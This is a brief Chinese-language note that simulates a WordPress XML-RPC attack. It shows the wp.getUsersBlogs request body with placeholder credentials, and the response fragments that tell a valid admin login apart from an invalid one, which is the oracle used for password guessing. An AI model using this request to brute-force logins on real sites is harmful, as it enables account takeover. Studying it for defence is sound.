wordpress之xmlrpc攻击过程模拟

1.POST xml内容

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
  <methodName>wp.getUsersBlogs</methodName>
  <params>
   <param><value>username</value></param>
   <param><value>password</value></param>
  </params>
</methodCall>

2.返回信息片段

<member> 
    <name>isAdmin</name>  
    <value> 
        <boolean>1</boolean> 
    </value> 
</member>  

<member> 
    <name>faultString</name>  
    <value> 
        <string>用户名或密码不正确。</string> 
    </value> 
</member> 

相关资料：https://codex.wordpress.org/XML-RPC_wp#wp.getUsersBlogs